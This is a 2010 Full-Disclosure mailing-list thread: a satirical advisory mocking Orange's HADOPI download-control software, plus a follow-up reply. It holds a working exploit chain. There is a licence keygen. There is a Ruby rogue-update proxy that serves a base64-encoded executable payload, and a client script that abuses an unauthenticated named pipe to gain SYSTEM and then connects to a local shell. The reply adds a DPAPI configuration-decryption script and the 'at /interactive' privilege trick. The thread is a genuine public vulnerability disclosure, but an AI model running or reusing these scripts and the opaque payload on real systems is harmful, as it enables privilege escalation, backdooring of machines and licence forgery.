Discussion:
Patriotic botnet with Orange's HADOPI software
cult dead hadopi
2010-06-15 14:10:08 UTC
Permalink
-- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET --


--==[ CULT OF THE DEAD HADOPI ]==--
Advisory 1

The HADOPI law or Creation and Internet law (French: Loi favorisant la
diffusion et la protection de la création sur Internet, "law
promoting the distribution and protection of creative works on the
internet") is a French law introduced during 2009, attempting to
control and regulate internet access as a means to encourage
compliance with copyright laws. "HADOPI" is the government agency
created by the eponymous law.

http://en.wikipedia.org/wiki/HADOPI_law


In fact, HADOPI is also the secret name of a French program designed
to get offensive capacities targeting the Internet. In order to
recruit every computer of the country in this patriotic botnet (like
in China), the government has urged every citizen to install a
software which will prove they do not download music and movies.

But the software is in fact a backdoor...

The first company helping the government to recruit bots is Orange,
the former French national telecom group. Now, it has become a
worldwide telecom giant.

A few years ago, Orange also became a content provider (football, tv
series, and many more). Everyone can now understand this is a long
term strategy:

1. Orange provides contents, such as football, tv shows,...
2. The Government says every citizen must install a software to
prove they do not download illegal contents.
3. Orange provides such a software.
4. [TOP SECRET] Every computer where this software is at risk can
become a bot for the French government.


The cult of the dead HADOPI has decided to disclose this plot to the
public.


The software
************

You can subscribe to the service for 2 euros a month (yes, you pay to
install a rootkit on your computer):

http://telechargement.assistance.orange.fr/ct/Install-CT.exe

version: 1.0.0.0
md5: a5858eed01b8a842cd63bcec3fd93f14
date: June 14, 2010

June 15, 2010: Orange has shut down the website providing the
binary. For those who wants to look at it, it is also available
here:

http://rapidshare.com/files/399290129/Install-CT.exe.html


Activating the program
**********************

In order to have the protection running properly, one has to activate
the software and get a licence. To do so, it connects to:

http://update-cdt.nordnet.fr/hadopi-server-technical-ws-1.0.x/HadopiTechnicalServlet

You can check the activation of your software and every French
citizen's one by connecting to the administration console of the
JBoss server account "admin" and password "admin". This is now fixed
but was open for 2 days during the week-end.

Nevertheless, we suspect this to be the command center of the botnet.

Anyway, you can also activate the software without connecting to this
server because:
1. Every piece of the communication is in clear text.
2. The software supports the configuration of a proxy.

So, if you want to be protected, but not join the patriotic botnet,
the cult of the dead HADOPI provides a keygen:

------------
$ cat hadopi-keygen.rb
#!/usr/bin/env ruby

require 'digest/md5'
CHARS = %w{ 0 1 2 3 4 5 6 7 8 9 A B C D E F }

serial = "%s%s%s%s-%s%s%s%s-%s%s%s%s-" %
Array.new(12) { CHARS[rand(CHARS.size)] }
serial << Digest::MD5.hexdigest(serial)[-4,4].upcase

puts serial
------------

If you do not have the capability to run this script, here is a
serial:
HADO-PIHA-DOPI-AC7B


However, be aware that you can still be recruited in the patriotic
botnet at any time...


Useless filtering
*****************

The first public goal of the software is to prevent the citizen from
downloading illegal content. As part of a secret plot to build a
patriotic botnet, one could expect it fulfills its first mission.

Currently, the server becomes unresponsive, and it is not possible to
retrieve a list of signatures to show how easy it is to bypass it. It
will be for next time :)

A funny thing to note:

The program checks whether a new process is packed by UPX, PECompact2
or Armadillo, and if yes... it call the sleep() function with a time
based on the size of the executable (WTF?). And nothing else like an
unpacking process.


A first look at the content protection software
***********************************************

The protecting software has 2 components:
- cdtsvc(64).exe is registered as a Windows service in charge of
inspecting every new software when it starts.
- cdtgui.exe is the configuration part, running as a simple user. It
makes it possible to look at the logs, start/stop the service,
configure the application,... All these features are password
"protected".

An interesting detail, services are digitally signed by France Telecom
S.A.:

sigcheck v1.53 - sigcheck
Copyright (C) 2004-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\program files\controle du telechargement\cdtsvc64.exe:
Verified: Signed
Signing date: 14:35 02/06/2010
Publisher: Nordnet
Description: Service de Contrôle du téléchargement
Product: Contrôle du téléchargement
Version: 1, 0, 0, 0
File version: 1, 0, 0, 0

Seems to be interesting on Windows 7 x64 ;)

Note that the password is saved in the registry as:

SHA1(unicode(password + "Hadopi Secret Partage"))

in the "StartupState" value of the key:

HKLM\SYSTEM\CurrentControlSet\Services\cdtsvc

So, if you are able to find collisions on SHA1, you are done. But if
you could do it, you would not care about this software, so let us
assume you can not.

Almost retrieving your password
-------------------------------

If you are protected by this software, and you forgot your password,
you can still authenticate. Since the GUI runs as the user, and since
the user is allowed to debug his own process, you just have to switch
the comparison between the stored password and the entered one.

This method is very reliable, but will not be described as there are
other much better ways for lazy guys like us.

Changing the password
---------------------

As every modern software handling secrets, the protecting software
provides a way to reset your password. If you forget it, you have to
give the answer to a secret question.

The answer to this question is stored in the registry.
And it can be accessed by the user himself.
But it is ciphered (using DPAPI).
But the service can decipher and modify the secret answer for us :)

So, the goal is to get access to this service, even as a user with no
privilege. Fortunately, Orange provides a way to do it with internal
communication between processes. See next section (what a suspense :)


Internal communication
----------------------

The multiple threads (not described here for clarity of course) are
communicating with each other through a named pipe
'\\\\.\pipe\CTPipe'.

NO AUTHENTICATION IS REQUIRED TO SEND/READ MESSAGE ON THIS PIPE.

So, why would we care about a password...

What does it mean?
It means you can administrate the software even as a simple user with
no knowledge of the password!
Really?
Yes, you can!

But there is still more...


Recruiting a bot thanks to Orange and the French government
***********************************************************

Let us assume an evil hacker gets hold of the control server providing
updates to every potential French citizen update-cdt.nordnet.fr.

When the software wants to be updated, it asks the server for a
file named cdtupd.exe.zip. This file is downloaded _by the service
cdtsvc_ in IE's temp files directory. Then, it is extracted in its
installation directory, C:\Program Files\Controle du Telechargement\.

Next, this cdtupd.exe is run _by the service cdtsvc_ with no check at
all, which means with SYSTEM privileges.

Since the updates are not signed, anyone accessing nordnet.fr can pwn
every Orange customer, including Orange, and the French government to
recruit bots for their patriotic botnet.



Subverting Orange's patriotic botnet
************************************

The cult of the dead HADOPI was hoping this software designed to
protect the French citizen from illegal downloading, designed to give
real offensive capacities to the French government, would at least be
secure.

It is not.

We retrieved some of the commands one can send to the named pipe:
- 1002: check password
- 1006: set password
- 1007: get secret question
- 1009: check if an update is available
- 1010: ask for an update
- 5000: enable/disable the "protection"
- 5002: get history
- 5003: get updates history
- 5004: change the configuration

The 5004 order is really interesting: it can modify the internal
configuration (proxy host and port, updates server address, answer to
the secret question, licensed state).

A local user with no privilege can communicate with the service
through the named pipe, change the configuration to use a proxy
server. Then, the evil bastard will request an update. The request
will arrive on the proxy, and the proxy will serve a backdoor (OMG!).

Here is the proxy:

------------
$ cat hadopi-proxy.rb
#!/usr/bin/env ruby

require 'socket'
require 'digest/md5'
require 'base64'
require 'pp'

MAGIC_STR = "Hadopi Secret Partage"
LICENSE_STATE = "ACTIVATED"
SUCCESS = true
MAX_LICENSES = 3
CURRENT_LICENSES = 1
SERVER_ADDR = "http://update-cdt.nordnet.fr/hadopi-server-technical-ws-1.0.x/HadopiTechnicalServlet"
CHECK_FREQ = GRACE_TIME = 1
UPDATE_APP = true
APP_VERSION = "1.0.0.4"

PAYLOAD = <<BASE64
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
AAA=
BASE64

server = TCPServer.new('localhost', 8888)
while (session = server.accept)
data = ""
while (input = session.gets) do
break if input.chop.empty?
data << input
end
puts "[+] Incoming request:\n#{data}\n"

hash = {}
params = session.read_nonblock(1024).split('&').collect!{ |param|
param.split('=')
}.each { |key,value|
hash[key.to_sym] = value
}

puts "Parameters:"
pp hash
puts

sig = "#{SUCCESS}#{LICENSE_STATE}#{CURRENT_LICENSES}#{CHECK_FREQ}#{UPDATE_APP}"
sig << APP_VERSION if hash[:method] == "updateApplication"
sig << "#{date = Time.now.to_i}#{hash[:machineId]}#{MAGIC_STR}#{hash[:hmc]}"

payload = hash[:method] == "updateApplication" ? Base64.decode64(PAYLOAD) : ""

response = <<RESP
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA (build:
SVNTag=JBoss_4_2_3_GA date=20080718148)/JBossWeb-2.0
X-Successful: #{SUCCESS}
X-Server-Date: #{date}
X-License-State: #{LICENSE_STATE}
X-Max-Number-Licenses: #{MAX_LICENSES}
X-Current-Number-Licenses: #{CURRENT_LICENSES}
X-Server-Address: #{SERVER_ADDR}
X-Check-Frequency: #{CHECK_FREQ}
X-Grace-Time: #{GRACE_TIME}
X-Update-Application: #{UPDATE_APP}
X-Application-Version: #{APP_VERSION}
X-Hmc: #{Digest::MD5.hexdigest(sig)}
Content-Length: #{payload.size}
Date: #{Time.now}

#{payload}
RESP

puts "[+] Sending response\n"
session.print response
session.puts

puts "[+] Closing connection"
session.close
end

------------

Have this proxy run for instance on localhost, then trigger the
exploit to become SYSTEM. Here we use the proxy trick but it is also
possible to change the updates server (ServerAddress):

------------
$ cat ask-brainless-hadopi.rb
###

MSG_CHANGE_CONFIG = 5004
MSG_UPDATE = 1010
PIPE = '\\\\.\pipe\CTPipe'
PROXY_HOST = "127.0.0.1"
PROXY_PORT = 8888
PROXY_CONFIG = 1

class String
def to_unicode
(self + "\x00").split(//).map!{|b| b + "\x00"}.join
end
end

def send_order(type, data = "", flush = false)
File.open(PIPE, 'a+') do |fd|
packet = [ 2048, type, 0, $$, 0 ].pack("I5")
packet << data

fd.write(packet)
fd.read(1) if flush
end
end

puts "[+] Activating proxy"
send_order(MSG_CHANGE_CONFIG, "proxy.config|#{PROXY_CONFIG}".to_unicode, true)

puts "[+] Setting proxy host"
send_order(MSG_CHANGE_CONFIG, "proxy.host|#{PROXY_HOST}".to_unicode, true)

puts "[+] Setting proxy port"
send_order(MSG_CHANGE_CONFIG, "proxy.port|#{PROXY_PORT}".to_unicode, true)

puts "[+] Checking update"
send_order(MSG_UPDATE, "", true)
puts "[+] Forcing update"
send_order(MSG_UPDATE, "", true)

puts "[+] Waiting..."
sleep 5

system("telnet 127.0.0.1 8080")

------------


Hey, this program still has a few secrets to reveal, but it will be for
another time...

There is Internet, and Internet by Orange :)

Greets
******

N. Sarkozy, Chinese fellows, C. Albanel, F. Mitterrand
J-L. Warsmann, F. Riester, F. Lefebvre, J-L. Masson
J. Myard, M. Thiollière, M. Marland-Militello


-- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET -- TOP SECRET --

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
no no
2010-06-15 18:20:45 UTC
Permalink
Malware like
****************

The service (cdtsvc) doesn't allow configuration change :
if the user changes the service config, it is instantly reset to "default"
values : restart when killed, user cannot stop it manually

This behaviour is bypassable : create the following registry key and the
service will no longer reset the configuration each time it is changed :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cdtsvc\DefaultAction
value : 128

This way, the service can be killed and restarted "on demand"



User Configuration
**********************
During the install, the user has to set a secret question with the
associated answer in case he forgets its password
Even if the password is stored hashed in the registry, the secret question,
the answer as well as other parameters are stored encrypted


$ cat decrypt_configuration.py

from ctypes import *
from ctypes.wintypes import DWORD
from _winreg import *
import struct
import sys

LocalFree = windll.kernel32.LocalFree
memcpy = cdll.msvcrt.memcpy
CryptProtectData = windll.crypt32.CryptProtectData
CryptUnprotectData = windll.crypt32.CryptUnprotectData
CRYPTPROTECT_UI_FORBIDDEN = 0x01

aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SYSTEM\CurrentControlSet\Services\cdtsvc\Parameters")

config = QueryValueEx(aKey,"Config")[0]

class DATA_BLOB(Structure):
_fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]

def getData(blobOut):
cbData = int(blobOut.cbData)
pbData = blobOut.pbData
buffer = c_buffer(cbData)
memcpy(buffer, pbData, cbData)
LocalFree(pbData);
return buffer.raw

def Win32CryptUnprotectData(cipherText):
bufferIn = c_buffer(cipherText, len(cipherText))
blobIn = DATA_BLOB(len(cipherText), bufferIn)
blobOut = DATA_BLOB()
if CryptUnprotectData(byref(blobIn), None, None, None, None,
CRYPTPROTECT_UI_FORBIDDEN, byref(blobOut)):
return getData(blobOut)
else:
return ""

dec = Win32CryptUnprotectData(config)
print "="*60
print "Configuration in
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\cdtsvc\\Parameters\\Config"
print "="*60+"\n\n"
# the encrypted message begins with the number of blocks (key/value) on 4
bytes

nb_block = struct.unpack("<l",dec[:4])[0]
dec = dec[4:]
for i in range(nb_block):
# then, each block : 2 bytes for the block size, 1 byte key length (each
character of the key is 2 bytes long because widechar are used, and we also
have a final \0
# so for key "MyKey" , lg_key = 0xC (12) )
# then the key (key name), the its value (we know the value length
lg_value = lg_block - lg_key - 3 (2 bytes for lg_block et 1 byte for lg_key)
lg_block = struct.unpack("<h",dec[:2])[0]
lg_key = ord(dec[2]) # widechar so 2 bytes per char , and a final \0 so
add 2 more bytes
current = dec[:lg_block]
key = current[3:lg_key*2].replace('\x00','')
value = current[lg_key*2:].replace('\x00','')
print "%s : %s"%(key,value)
dec = dec[lg_block:]


Unluckily, the config can be decrypted only by the SYSTEM account, so this
script must be run as SYSTEM :

either run this script as a service
or, on Windows XP, use the "at" trick in a cmd :

at XX:XX /interactive cmd.exe

XX:XX being current time + 1 min

in the shell that spawns, run this script




What I haven't figured out yet is : why this RSA public key ? from your
analysis, no signature or signature check is performed and I haven't figured
it either

Loading...